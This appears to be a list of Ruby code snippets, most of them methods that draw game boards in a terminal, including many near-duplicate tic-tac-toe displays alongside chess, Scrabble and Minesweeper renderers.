"def format_board\n\n\t\t# formateamos la primera fila de negras\n\t\t@board[0][0] = \"bR\"\n\t\t@board[0][1] = \"bN\"\n\t\t@board[0][2] = \"bB\"\n\t\t@board[0][3] = \"bQ\"\n\t\t@board[0][4] = \"bK\"\n\t\t@board[0][5] = \"bB\"\n\t\t@board[0][6] = \"bN\"\n\t\t@board[0][7] = \"bR\"\n\n\t\t# formateamos los peones de negras\n\t\tfor column in (0..@height-1)\n\t\t\t\t@board[1][column] = \"bP\"\n\t\tend\n\n\t\t# formateamos los peones de blancas\n\t\tfor column in (0..@height-1)\n\t\t\t\t@board[6][column] = \"wP\"\n\t\tend\n\n\t\t# formateamos la primera fila de negras\n\t\t@board[7][0] = \"wR\"\n\t\t@board[7][1] = \"wN\"\n\t\t@board[7][2] = \"wB\"\n\t\t@board[7][3] = \"wQ\"\n\t\t@board[7][4] = \"wK\"\n\t\t@board[7][5] = \"wB\"\n\t\t@board[7][6] = \"wN\"\n\t\t@board[7][7] = \"wR\"\n\n\tend",
"def display_board\n display = \" a b c d e f g h \\n\"\n @board.each_with_index do |arr, i|\n line = \"#{i + 1} \"\n arr.each do |hash|\n hash[:piece].nil? ? line += \"#{hash[:base]} \" : line += \"#{hash[:piece].name} \"\n end\n line += \"\\n\"\n display += line\n end\n display\n end",
"def display_board(game)\n \n puts \" #{game[0]} #{VERTBAR} #{game[1]} #{VERTBAR} #{game[2]} \"\n puts \"#{SEP}\"\n puts \" #{game[3]} #{VERTBAR} #{game[4]} #{VERTBAR} #{game[5]} \"\n puts \"#{SEP}\"\n puts \" #{game[6]} #{VERTBAR} #{game[7]} #{VERTBAR} #{game[8]} \"\n \nend",
"def draw_board game\n\t\t\t\tstring = ''\n\t\t\t\tprint \" \"\n\t\t\t\t0.upto(14) do |x|\n\t\t\t\t\tprint \"%5s\" % [x.to_s]\n\t\t\t\tend\n\t\t\t\tgame.board.each_with_index do |square, row, column|\n\t\t\t\t\tanti_string = square.tile\n\t\t\t\t\tanti_string ||= ' '\n\t\t\t\t\tif column == 0\n\t\t\t\t\t\tputs string\n\t\t\t\t\t\tstring = \"%-3s\" % [row.to_s]\n\t\t\t\t\tend\n\t\t\t\t\tcase square.multiplier\n\t\t\t\t\twhen 3\n\t\t\t\t\t\tif square.type == :word\n\t\t\t\t\t\t\tstring +=\"[ \".green + anti_string + \" ]\".green\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tstring +=\"[ \".blue + anti_string + \" ]\".blue\n\t\t\t\t\t\tend\n\t\t\t\t\twhen 2\n\t\t\t\t\t\tif square.type == :word\n\t\t\t\t\t\t\tstring +=\"[ \".light_red + anti_string + \" ]\".light_red\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tstring +=\"[ \".light_cyan + anti_string + \" ]\".light_cyan\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tstring += \"[ \" + anti_string + \" ]\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tputs string\n\t\t\tend",
"def display_board(gamedata)\n puts(\" #{gamedata[0]} | #{gamedata[1]} | #{gamedata[2]} \")\n puts(\"-----------\")\n puts(\" #{gamedata[3]} | #{gamedata[4]} | #{gamedata[5]} \")\n puts(\"-----------\")\n puts(\" #{gamedata[6]} | #{gamedata[7]} | #{gamedata[8]} \")\nend",
"def display_board (game)\n puts \" #{game[0]} | #{game[1]} | #{game[2]} \"\n puts \"-----------\"\n puts \" #{game[3]} | #{game[4]} | #{game[5]} \"\n puts \"-----------\"\n puts \" #{game[6]} | #{game[7]} | #{game[8]} \"\nend",
"def display_board\n row1 = \" #{@board[0]} | #{@board[1]} | #{@board[2]}\\n\"\n row2 = \" #{@board[3]} | #{@board[4]} | #{@board[5]}\\n\"\n row3 = \" #{@board[6]} | #{@board[7]} | #{@board[8]}\\n\"\n spacer = \"-----------\\n\"\n\n row1 + spacer + row2 + spacer + row3\n end",
"def render\n print \"\\n\"\n @board.each do |row|\n row.each do |col|\n print \"#{col.nil? ? '.' : col} \"\n end\n print \"\\n\"\n end\n print \"\\n\"\n end",
"def format\n display_string = \"\"\n (0..7).each do |row|\n display_string += \"#{row}\"\n (0..7).each do |col| \n if @board[row][col].instance_of? ChessPiece\n display_string += \"[#{@board[row][col].unicode} ]\"\n elsif @board[row][col].is_a? String\n display_string += @board[row][col]\n end\n end\n display_string += \"\\n\"\n end\n\n return display_string\n end",
"def display_board\n\t\tputs \"\\n\\n\"\n\t\tprint \"|\\u2460 |\\u2461 |\\u2462 |\\u2463 |\\u2464 |\\u2465 |\\u2466 |\"\n\t\t@board.plastic.reverse.each do |row|\n\t\t\tprint \"\\n|\"\n\t\t\trow.each {|x| print \"#{x.to_c} |\"} \t\t\t\n\t\tend\n\t\tputs \"\"\n\tend",
"def display_board\n puts \"#{@board[0].value} | #{@board[1].value} | #{@board[2].value}\"\n puts \"-\"*10\n puts \"#{@board[3].value} | #{@board[4].value} | #{@board[5].value}\"\n puts \"-\"*10\n puts \"#{@board[6].value} | #{@board[7].value} | #{@board[8].value}\"\n end",
"def show_board_game(current_game)\n puts \"#{current_game.players[0].name.capitalize} #{current_game.players[0].avatar} #{current_game.players[0].symbol} \\u{1F19A} #{current_game.players[1].name.capitalize} #{current_game.players[1].avatar} #{current_game.players[1].symbol}\"\n puts \"\"\n for i in 0..2 do\n puts \"----------------\"\n for j in 0..2 do\n print \"| #{current_game.board.boardcase[i][j].content} \"\n end\n puts \"|\"\n end\n puts \"----------------\"\n end",
"def display_board\n\t\tsystem \"clear\" or system \"cls\"\n\t\tprint \" 1 2 3 4 5 6 7 8 \\n\\n\"\n\t\t(0..7).each do |row|\n\t\t\tprint \"#{(row+97).chr} \"\n\t\t\t(0..7).each do |collumn|\n\t\t\t\tprint \"#{@board[row][collumn]} \" if @board[row][collumn] == \"X\"\n\t\t\t\tprint @board[row][collumn].to_s + \" \" if @board[row][collumn].is_a?(Piece)\n\t\t\tend\n\t\t\tprint \" #{(row+97).chr} \"\n\t\t\tputs\n\n\t\tend\n\t\tprint \"\\n 1 2 3 4 5 6 7 8 \\n\"\n\tend",
"def render\r\n # puts \"\\e[H\\e[2J\"\r\n\r\n values = @grid\r\n puts \" 0 1 2 3 4 5 6 7 8\".light_black\r\n puts \" +---+---+---+---+---+---+---+---+---+\".light_black\r\n values.each_with_index do |row, idx|\r\n print \" #{idx} |\".light_black\r\n row.each_with_index do |value, idx|\r\n if idx >= 1\r\n print \"|\".light_black\r\n end\r\n # color coding output to cells\r\n if \" #{value} \".match?(/[0]/) # no values printed for open spaces\r\n print \" \"\r\n elsif value.is_a? String # values changed by player are printed in yellow\r\n print \" #{value} \".yellow\r\n else\r\n print \" #{value} \".light_blue # OG values are printed in blue\r\n end\r\n end\r\n print \"|\\n\".light_black\r\n puts \" +---+---+---+---+---+---+---+---+---+\".light_black\r\n end\r\n puts # adds newline at end of board\r\n end",
"def draw_board\n clear_screen\n print_logo\n put_column_headers\n @rows.each do |row|\n row_string = \"\"\n slots_filled_in_row = 0\n row.each do |slot|\n if slot\n color_code = slot\n if @players.size == 2\n slot = \"X\" if slot == 1\n slot = \"O\" if slot == 2\n end\n color_code = COLOR_CODES[color_code]\n slot = slot.to_s.colorize(color_code)\n slots_filled_in_row += 1\n else\n slot = '.'\n end\n row_string << (slot + \" \")\n end\n center_puts((' ' * 11 * slots_filled_in_row) + row_string)\n end\n put_column_headers\n end",
"def display_board\n\n puts \" #{@board[0].mark} | #{@board[1].mark} | #{@board[2].mark} \"\n puts \"-----------\"\n puts \" #{@board[3].mark} | #{@board[4].mark} | #{@board[5].mark} \"\n puts \"-----------\"\n puts \" #{@board[6].mark} | #{@board[7].mark} | #{@board[8].mark} \"\n end",
"def render_board\n puts ''\n puts ' | |'\n puts \" #{@squares[1]} | #{@squares[2]} | #{@squares[3]}\"\n puts ' | |'\n puts '-------------------'\n puts ' | |'\n puts \" #{@squares[4]} | #{@squares[5]} | #{@squares[6]}\"\n puts ' | |'\n puts '-------------------'\n puts ' | |'\n puts \" #{@squares[7]} | #{@squares[8]} | #{@squares[9]}\"\n puts ' | |'\n puts ''\n end",
"def display_board\n puts \"#{human.name}: #{human.marker}, #{computer.name}: #{computer.marker}\"\n puts \"Round #{@round}.\"\n puts \"Score: #{human.score} - #{computer.score}\"\n puts \"\"\n board.draw\n puts \"\"\n end",
"def display_board\n puts \" #{@letter[0]} | #{@letter[1]} | #{@letter[2]} \"\n puts \" -------------\"\n puts \" #{@number[0]}| #{@board_array[0]} | #{@board_array[1]} | #{@board_array[2]} |\"\n puts \" |-----------|\"\n puts \" #{@number[1]}| #{@board_array[3]} | #{@board_array[4]} | #{@board_array[5]} |\"\n puts \" |-----------|\"\n puts \" #{@number[2]}| #{@board_array[6]} | #{@board_array[7]} | #{@board_array[8]} |\"\n puts \" ------------\"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display\n puts \"\\n GAME BOARD \"\n puts \" Turn #{turn_count}\"\n puts \"*************\"\n puts \"* #{self.cells[0]} | #{self.cells[1]} | #{self.cells[2]} *\"\n puts \"*-----------*\"\n puts \"* #{self.cells[3]} | #{self.cells[4]} | #{self.cells[5]} *\"\n puts \"*-----------*\"\n puts \"* #{self.cells[6]} | #{self.cells[7]} | #{self.cells[8]} *\"\n puts \"*************\\n\\n\"\n end",
"def display_board(gameState)\n puts \" #{gameState[0]} | #{gameState[1]} | #{gameState[2]} \"\n puts \"-----------\"\n puts \" #{gameState[3]} | #{gameState[4]} | #{gameState[5]} \"\n puts \"-----------\"\n puts \" #{gameState[6]} | #{gameState[7]} | #{gameState[8]} \"\nend",
"def game_board_display(board)\n puts \" #{board[0]} | #{board[1]} | #{board[2]} \"\n puts \"-----------\"\n puts \" #{board[3]} | #{board[4]} | #{board[5]} \"\n puts \"-----------\"\n puts \" #{board[6]} | #{board[7]} | #{board[8]} \"\n\n end",
"def draw\n\t\tdisplay = \"\\n\\n\"\n\t\t\n\t\tcount = 0\n\t\t@board.length.times do |i|\n\t\t\tcount += 1\n\t\t\tdisplay += @board[i] + \"\\t\\t\"\n\t\t\tif count % 3 == 0\n\t\t\t\tdisplay += \"\\n\\n\\n\"\n\t\t\tend\n\t\tend\n\t\t\n\t\tputs display\n\tend",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"---------------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"---------------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n\t\t\tsystem(\"cls\")\n\t\t\tprint \"\\n\"\n\t\t\t 7.downto(0).each_with_index{|x|\n\t\t\t\t print \"#{x+1}| \"\n\t\t\t\t\t8.times{|y|\n\t\t\t\t\tif y%2==0 && x%2 == 0 || y%2==1 && x%2 == 1\n\t\t\t\t\t\tif @board[y][x] != nil && @board[y][x].color == \"white\"\n\t\t\t\t\t\t\tprint @board[y][x].class.to_s[0].white.bold.on_red, \" \".on_red\n\t\t\t\t\t\telsif @board[y][x] != nil && @board[y][x].color == \"black\"\n\t\t\t\t\t\t\tprint @board[y][x].class.to_s[0].green.bold.on_red, \" \".on_red\n\t\t\t\t\t\telse \n\t\t\t\t\t\t\tprint \" \".on_red\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tif @board[y][x] != nil && @board[y][x].color == \"white\"\n\t\t\t\t\t\t\tprint @board[y][x].class.to_s[0].white.bold, \" \"\n\t\t\t\t\t\telsif @board[y][x] != nil && @board[y][x].color == \"black\"\n\t\t\t\t\t\t\tprint @board[y][x].class.to_s[0].green.bold, \" \"\n\t\t\t\t\t\telse \n\t\t\t\t\t\t\tprint \" \", \" \"\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t}\n\t\t\t\tprint \"\\n\"\n\t\t\t\t }\n\t\t\t print \"------------------\\n\"\n\t\t\t print \" a b c d e f g h\\n\\n\"\n\tend",
"def show_board\n\t\ttop_left = \"\\u250c\"\n\t\thorizontal = \"\\u2500\"\n\t\ttop_right = \"\\u2510\"\n\t\tbot_left = \"\\u2514\"\n\t\tbot_right = \"\\u2518\"\n\t\tvertical = \"\\u2502\"\n\t\tcross = \"\\u253c\"\n\t\ttop_cross = \"\\u252c\"\n\t\tbot_cross = \"\\u2534\"\n\t\tleft_vertical = \"\\u251c\"\n\t\tright_vertical = \"\\u2524\"\n\n\t\ttop_board = \" \" + top_left + (horizontal*3 + top_cross)*7 + horizontal*3 + top_right\n\t\tmid_board = vertical + (\" \" + vertical)*7 + \" \" + vertical\n\t\tseparator_board = \" \" + left_vertical + (horizontal*3 + cross)*7 + horizontal*3 + right_vertical\n\t\tbot_board = \" \" + bot_left + (horizontal*3 + bot_cross)*7 + horizontal*3 + bot_right\n\n\t\tputs \"\\n\" + top_board\n\n\t\t(2..8).reverse_each do |num|\n\t\t\tmid_test = num.to_s + vertical\n\t\t\t(\"a\"..\"h\").each do |letter|\n\t\t\t\tpair = letter + num.to_s \n\t\t\t\tmid_test += \" #{@board[pair].view} \" + vertical\n\t\t\tend\n\t\t\tputs mid_test\n\t\t\tputs separator_board\n\t\tend\n\n\t\tmid_test = 1.to_s + vertical\n\t\t(\"a\"..\"h\").each do |letter|\n\t\t\tpair = \"#{letter}1\"\n\t\t\tmid_test += \" #{@board[pair].view} \" + vertical\n\t\tend\n\n\t\tputs mid_test\n\t\tputs bot_board\n\t\tputs \" a b c d e f g h\\n\"\t\t\n\tend",
"def display_board\n\t board =\" | | \\n-----------\\n | | \\n-----------\\n | | \"\n\t puts board\n\tend",
"def displayBoard\n\t\tx = 0\n\t\tprint \"\\n\"\n\t\twhile x < @guesses.length\n\t\t\tprint \" -------------------\\n\"\n\t\t\ty = 0\n\t\t\twhile y < @guesses[x].length\n\t\t\t\tif y < 4\n\t\t\t\t\tprint \"| \" + @guesses[x][y].chr + \" | \" \n\t\t\t\telse\n\t\t\t\t\tprint @guesses[x][y]\n\t\t\t\tend\n\t\t\t\ty = y+1\n\t\t\tend\n\t\t\tprint \"\\n -------------------\\n\"\n\t\t\tx = x+1\n\t\tend\n\t\tprint \"\\n\"\n\t\n\tend",
"def display_board\n\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \" ----------- \"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \" ----------- \"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n\n end",
"def draw_board\n\t\tputs \"#{@board[\"a1\"]} | #{@board[\"a2\"]} | #{@board[\"a3\"]}\"\n\t\tputs \"-----------\"\n\t\tputs \"#{@board[\"b1\"]} | #{@board[\"b2\"]} | #{@board[\"b3\"]}\"\n\t\tputs \"-----------\"\n\t\tputs \"#{@board[\"c1\"]} | #{@board[\"c2\"]} | #{@board[\"c3\"]}\"\n\tend",
"def display_board(game)\n puts row1=[\" #{game[0]} | #{game[1]} | #{game[2]} \"]\n puts div= [\"-----------\"]\n puts row2=[\" #{game[3]} | #{game[4]} | #{game[5]} \"]\n puts div= [\"-----------\"]\n puts row3=[\" #{game[6]} | #{game[7]} | #{game[8]} \"]\n\nend",
"def render\n\t\tclear_screen\n\t\tcenter_this [\"\",\" MINESWEE\\u2691ER\"]\n\n\t\t# Create the upper and lower vertical edges of board\n\t\tboard_vertical_edge = \" +\"\n\t\t@width.times { board_vertical_edge << \"--\" }\n\t\tboard_vertical_edge << \"-+\"\n\n\t\t# Display column headers vertically to save space\n\t\t# Places tens place directly above the ones place, if necessary\n\t\ttens = \" \"\n\t\tones = \" \"\n\t\t@width.times do |x|\n\t\t\tif x >= 10\n\t\t\t\ttens << x.to_s[0] + \" \"\n\t\t\t\tones << x.to_s[1] + \" \"\n\t\t\telse\n\t\t\t\ttens << \" \"\n\t\t\t\tones << x.to_s + \" \"\n\t\t\tend\n\t\tend\n\t\tcenter_this tens if @width >= 11\n\t\tcenter_this ones\n\t\tcenter_this board_vertical_edge # Display top edge of board\n\n\t\t# Loop through and display each row\n\t\t@cell_at.each_with_index do |row, row_title|\n\t\t\t# Add the row title, as a letter, to the row contents\n\t\t\trow_contents = row_title.to_s.tr(\"0-9\", \"a-z\").upcase + \" | \"\n\t\t\t# Loop through each cell in row and it to row contents\n\t\t\trow.each do |col|\n\t\t\t\tcase col.state\n\t\t\t\twhen :hidden\n\t\t\t\t\trow_contents << \"\\u2591 \"\n\t\t\t\twhen :flagged\n\t\t\t\t\trow_contents << \"\\u2691 \"\n\t\t\t\twhen :visible\n\t\t\t\t\trow_contents << col.risk unless col.risk == :mine\n\t\t\t\t\trow_contents << \"\\u2699\" if col.risk == :mine\n\t\t\t\t\trow_contents << \" \"\n\t\t\t\tend\n\t\t\tend\n\t\t\trow_contents << \"|\"\n\t\t\tcenter_this row_contents # Display row\n\t\tend\n\t\tcenter_this board_vertical_edge # Display bottom edge of board\n\t\tcenter_this \" FLAGS LEFT: #{@flags_left}\" # Display remaining flags\n\t\tputs\n\t\tputs\n\tend",
"def printBoard\n\t\tprint(\"#{@field[0].value} | #{@field[1].value} | #{@field[2].value}\\n---------\\n#{@field[3].value} | #{@field[4].value} | #{@field[5].value}\\n---------\\n#{@field[6].value} | #{@field[7].value} | #{@field[8].value}\")\n\tend",
"def show_board(board_hash)\n five_spaces = \"#{\" \"*5}\"\n five_dashes = \"#{\"-\"*5}\"\n empty_line = \"#{five_spaces}|#{five_spaces}|#{five_spaces}\"\n divider_line = \"#{five_dashes}+#{five_dashes}+#{five_dashes}\"\n pipe = \" | \"\n row1 = \" #{board_hash[\"1\"]}#{pipe}#{board_hash[\"2\"]}#{pipe}#{board_hash[\"3\"]} \"\n row2 = \" #{board_hash[\"4\"]}#{pipe}#{board_hash[\"5\"]}#{pipe}#{board_hash[\"6\"]} \"\n row3 = \" #{board_hash[\"7\"]}#{pipe}#{board_hash[\"8\"]}#{pipe}#{board_hash[\"9\"]} \"\n puts empty_line\n puts row1\n puts empty_line\n puts divider_line\n puts empty_line\n puts row2\n puts empty_line\n puts divider_line\n puts empty_line\n puts row3\n puts empty_line\nend",
"def display\n\t\tbreakline = \"---- --- ----\"\n\t\tputs breakline.center(@linewidth)\n\t\tputs \"| #{@board[:one]} | #{@board[:two]} | #{@board[:three]} |\".center(@linewidth)\n\t\tputs breakline.center(@linewidth)\n\t\tputs \"| #{@board[:four]} | #{@board[:five]} | #{@board[:six]} |\".center(@linewidth)\n\t\tputs breakline.center(@linewidth)\n\t\tputs \"| #{@board[:seven]} | #{@board[:eight]} | #{@board[:nine]} |\".center(@linewidth)\n\t\tputs breakline.center(@linewidth)\n\t\tputs \"\".center(@linewidth)\n\tend",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \" ----------- \"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \" ----------- \"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def render\n (\"A\"..\"H\").each { |col| print \" #{col}\"}\n print \"\\n\\n\"\n\n (0...8).each do |row|\n # Start counting downwards - rows are upside down in ChessBoard\n row_idx = (7 - row) % @board.rows.count + 1\n print \"#{row_idx} \"\n\n (0...8).each do |col|\n pos = [row, col]\n render_piece(pos)\n end\n\n print \"\\n\\n\"\n end\n\n debug_info if @debug\n print_controls\n end",
"def show_board\n\t\ti = 1\n\t\tgame_board_string = \"\\r\\n\"\n\t\twhile i < 10\n\t\t\tgame_board_string += @board_status[i]\n\t\t\tif i % 3 == 0\n\t\t\t\tgame_board_string += \"\\r\\n\"\n\t\t\tend\n\t\t\ti += 1\n\t\tend\n\t\tgame_board_string += \"\\r\\n\"\n\t\treturn game_board_string\n\tend",
"def display_board(some_array,some_letter) \n include FormatBoard\n \n if some_letter == \"X\" \n other_letter = \"O\"\n else\n other_letter = \"X\"\n end\n\n#converts the game array to a usable string\n def make_sentence(array) \n\tsentence = \"\"\n\tarray.each do |mini_arrays|\n mini_arrays.each do |element|\n sentence << \"a#{element}a \"\n end\n end \n \n\tsentence\n end\n\n some_array_string = make_sentence(some_array)\n sep_strings = some_array_string.split(' ')\n\n board_hash = {\"a1a\" => \"#{some_letter}\", \"a10a\" => \"#{other_letter}\", \"aa\" => \"?\"}\n\n print \"\\n\\n\"\n center2\n puts \"CURRENT BOARD\"\n center2\n puts \"_____________\"\n print \"\\n\\n\"\n center; 3.times{print \"_ \"} \n print \"\\n\\n\"\n center; print board_hash[sep_strings[0]] + \" \" + board_hash[sep_strings[1]] + \" \" + board_hash[sep_strings[2]];puts\n center; print board_hash[sep_strings[3]] + \" \" + board_hash[sep_strings[4]] + \" \" + board_hash[sep_strings[5]];puts\n center; print board_hash[sep_strings[6]] + \" \" + board_hash[sep_strings[7]] + \" \" + board_hash[sep_strings[8]];puts\n center; 3.times{print \"_ \"}; puts; puts\n \n some_array\n \n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts '---------------'\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts '---------------'\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def show_board\n\t\t@board.values.each do |space|\n\t\t\tif !(space.class == String)\n\t\t\t\tif (space.type == 'pawn') && (space.color == 'w')\n\t\t\t\t\tprint \"\\u2659\" + \" \"\n\t\t\t\telsif (space.type == 'pawn') && (space.color == 'b')\n\t\t\t\t\tprint \"\\u265F\" + \" \"\t\n\t\t\t\telsif (space.type == 'rook') && (space.color == 'w')\n\t\t\t\t\tprint \"\\u2656\" + \" \"\t\t\t\n\t\t\t\telsif (space.type == 'rook') && (space.color == 'b')\n\t\t\t\t\tprint \"\\u265C\" + \" \"\t\t\n\t\t\t\telsif (space.type == 'knight') && (space.color == 'w')\n\t\t\t\t\tprint \"\\u2658\" + \" \"\t\t\t\n\t\t\t\telsif (space.type == 'knight') && (space.color == 'b')\n\t\t\t\t\tprint \"\\u265E\" + \" \"\t\n\t\t\t\telsif (space.type == 'bishop') && (space.color == 'w')\n\t\t\t\t\tprint \"\\u2657\" + \" \"\t\t\t\n\t\t\t\telsif (space.type == 'bishop') && (space.color == 'b')\n\t\t\t\t\tprint \"\\u265D\" + \" \"\t\n\t\t\t\telsif (space.type == 'queen') && (space.color == 'w')\n\t\t\t\t\tprint \"\\u2655\" + \" \"\t\t\t\n\t\t\t\telsif (space.type == 'queen') && (space.color == 'b')\n\t\t\t\t\tprint \"\\u265B\" + \" \"\t\t\t\n\t\t\t\telsif (space.type == 'king') && (space.color == 'w')\n\t\t\t\t\tprint \"\\u2654\" + \" \"\t\t\t\n\t\t\t\telsif (space.type == 'king') && (space.color == 'b')\n\t\t\t\t\tprint \"\\u265A\" + \" \"\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\telse\n\t\t\t\t\tprint space\n\t\t\t\tend\n\t\t\telsif !(space == \"\")\n\t\t\t\tprint space + \" \"\n\t\t\telse\n\t\t\t\tputs space + \" \"\n\t\t\tend\n\t\tend\n\t\tputs \"---------------\"\n\tend",
"def display_board()\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board()\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def render\n puts \" #{(0..7).to_a.join(' ')}\"\n (0..7).each do |row|\n puts \"#{row} #{print_row(@board.grid[row] , row).join('|')}\"\n puts\n end\n end",
"def display\n\t\tputs \"\\n\"\n\t\t(0..2).each do |row|\n\t\t\t(0..2).each do |col|\n\t\t\t\tprint \" \" + @board[row][col].to_s + \" \"\n\t\t\t\tprint \"|\" unless col == 2\n\t\t\tend\n\t\t\tputs row == 2 ? \"\\n\\n\" : \"\\n-----------\\n\"\n\t\tend\n\tend",
"def render_board\n i = 0\n while i < board.dimension\n puts \"\"\"\n #{render_row(i)} \"\"\"\n i += 1\n end\n end",
"def view_board\n\t\t(1..8).to_a.reverse.each do |row|\n\t\t\tstr = \"\"\n\t\t\t('a'..'h').each do |col|\n\t\t\t\tif board[[row,col]] == 2\n\t\t\t\t\tstr << \" . \"\n\t\t\t\telse\n\t\t\t\t\tstr << \" #{board[[row, col]].to_s} \"\t\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tputs str\n\t\tend\n\tend",
"def display_board\n\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n str = \"\"\n 5.downto(0) do |i|\n @board.each {|row| str += row[i].to_s + \" \"}\n str += \"\\n\"\n end\n puts str\n end",
"def displayBoard(characters = true)\n # output = \" \" + (0...(@grid[0].length)).to_a.join('') + \"\\n\"\n output = \"\\n\"\n @grid.each_with_index do |val, idx|\n # line = idx.to_s + \" \" + val.join('')\n line = val.join('')\n if characters\n carr_toprint = Game.sortCharactersbyPos(@characters)\n carr_toprint.each do |c| \n if c.pos[0] == idx\n line[c.pos[1]] = c.type \n line += \" (#{c.type}:#{c.hp})\"\n end\n end\n end\n output << line + \"\\n\"\n end\n puts output\n end",
"def display_board\n puts \" #{@board[0]} | #{@board[1]} | #{@board[2]} \"\n puts \"-----------\"\n puts \" #{@board[3]} | #{@board[4]} | #{@board[5]} \"\n puts \"-----------\"\n puts \" #{@board[6]} | #{@board[7]} | #{@board[8]} \"\n end",
"def display_board\n puts \" \" + (\"_\" * 47)\n 8.downto(1) do |l|\n puts \" \" +(\"| \" * 8 ) + \"|\"\n puts \" #{l} | \" + @board[l-1].join(\" | \") + \" |\"\n puts \" \" +(\"|_____\" * 8 ) + \"|\"\n end\n puts (\" \" * 8) + ('a'..'h').to_a.join(\" \")\n end",
